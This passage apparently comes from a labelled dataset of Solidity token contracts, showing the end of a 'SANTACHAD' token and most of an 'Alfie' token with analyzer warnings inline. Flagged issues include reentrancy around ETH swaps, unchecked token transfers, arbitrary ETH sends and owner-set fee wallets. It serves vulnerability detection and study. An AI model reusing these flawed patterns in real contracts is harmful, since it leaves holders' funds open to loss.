bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d4385c8): SANTACHAD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d4385c8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 89af264): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 89af264: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 71c1359): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 71c1359: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 89af264\n\t\t// reentrancy-benign | ID: 71c1359\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 89af264\n\t\t// reentrancy-benign | ID: 71c1359\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 27442c4): SANTACHAD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 27442c4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 71c1359\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 89af264\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fbdbe0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fbdbe0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: f808978): SANTACHAD._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for f808978: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6cd8b22): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6cd8b22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b941061): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b941061: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: f808978\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: fbdbe0f\n\t\t\t\t// reentrancy-eth | ID: 6cd8b22\n\t\t\t\t// reentrancy-eth | ID: b941061\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fbdbe0f\n\t\t\t\t\t// reentrancy-eth | ID: 6cd8b22\n\t\t\t\t\t// reentrancy-eth | ID: b941061\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b941061\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b941061\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: fbdbe0f\n\t\t\t\t// reentrancy-eth | ID: 6cd8b22\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fbdbe0f\n\t\t\t\t\t// reentrancy-eth | ID: 6cd8b22\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6cd8b22\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fbdbe0f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6cd8b22\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6cd8b22\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fbdbe0f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 89af264\n\t\t// reentrancy-events | ID: fbdbe0f\n\t\t// reentrancy-benign | ID: 71c1359\n\t\t// reentrancy-eth | ID: 6cd8b22\n\t\t// reentrancy-eth | ID: b941061\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ea9217d): SANTACHAD.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for ea9217d: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: ea9217d\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: deaaff5): SANTACHAD.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for deaaff5: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: deaaff5\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8662aaa): SANTACHAD.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 8662aaa: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 8662aaa\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 316c626): SANTACHAD.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for 316c626: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 316c626\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 977b828): SANTACHAD.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 977b828: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 89af264\n\t\t// reentrancy-events | ID: fbdbe0f\n\t\t// reentrancy-eth | ID: 6cd8b22\n\t\t// reentrancy-eth | ID: b941061\n\t\t// arbitrary-send-eth | ID: 977b828\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1fe18d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1fe18d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c6f2d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c6f2d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8092e2d): SANTACHAD.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8092e2d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 80f3bb4): SANTACHAD.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 80f3bb4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f7ebb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f7ebb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1fe18d4\n\t\t// reentrancy-benign | ID: 0c6f2d0\n\t\t// reentrancy-eth | ID: 1f7ebb0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1fe18d4\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 1fe18d4\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 0c6f2d0\n\t\t// unused-return | ID: 8092e2d\n\t\t// reentrancy-eth | ID: 1f7ebb0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0c6f2d0\n\t\t// unused-return | ID: 80f3bb4\n\t\t// reentrancy-eth | ID: 1f7ebb0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0c6f2d0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1f7ebb0\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 0c6f2d0\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10762.sol",
"size_bytes": 23700,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Alfie is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f708f0): Alfie._taxWallet should be immutable \n\t// Recommendation for 2f708f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33c8ec9): Alfie._initialBuyTax should be constant \n\t// Recommendation for 33c8ec9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: db72d90): Alfie._initialSellTax should be constant \n\t// Recommendation for db72d90: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ef6ea3): Alfie._finalBuyTax should be constant \n\t// Recommendation for 7ef6ea3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39bc597): Alfie._finalSellTax should be constant \n\t// Recommendation for 39bc597: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de6a68f): Alfie._reduceBuyTaxAt should be constant \n\t// Recommendation for de6a68f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: de0a883): Alfie._reduceSellTaxAt should be constant \n\t// Recommendation for de0a883: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c5a0d9): Alfie._preventSwapBefore should be constant \n\t// Recommendation for 7c5a0d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Robinhood Dog\";\n\n string private constant _symbol = unicode\"Alfie\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac3c786): Alfie._taxSwapThreshold should be constant \n\t// Recommendation for ac3c786: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d38a04): Alfie._maxTaxSwap should be constant \n\t// Recommendation for 5d38a04: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 150000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48434fd): Alfie.uniswapV2Router should be immutable \n\t// Recommendation for 48434fd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 734d1a1): Alfie.uniswapV2Pair should be immutable \n\t// Recommendation for 734d1a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb4bede): Alfie.sellsPerBlock should be constant \n\t// Recommendation for cb4bede: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17f0fb5): Alfie.buysFirstBlock should be constant \n\t// Recommendation for 17f0fb5: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a90266): Alfie.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5a90266: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fc6b6ed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fc6b6ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a8b0bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a8b0bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fc6b6ed\n\t\t// reentrancy-benign | ID: 9a8b0bc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fc6b6ed\n\t\t// reentrancy-benign | ID: 9a8b0bc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4833e8): Alfie._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4833e8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9a8b0bc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fc6b6ed\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fb51fc0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fb51fc0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 81c3216): Alfie._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 81c3216: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2bdabbf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2bdabbf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7f57883): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7f57883: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 81c3216\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: fb51fc0\n\t\t\t\t// reentrancy-eth | ID: 2bdabbf\n\t\t\t\t// reentrancy-eth | ID: 7f57883\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fb51fc0\n\t\t\t\t\t// reentrancy-eth | ID: 2bdabbf\n\t\t\t\t\t// reentrancy-eth | ID: 7f57883\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7f57883\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7f57883\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: fb51fc0\n\t\t\t\t// reentrancy-eth | ID: 2bdabbf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fb51fc0\n\t\t\t\t\t// reentrancy-eth | ID: 2bdabbf\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2bdabbf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fb51fc0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2bdabbf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2bdabbf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// 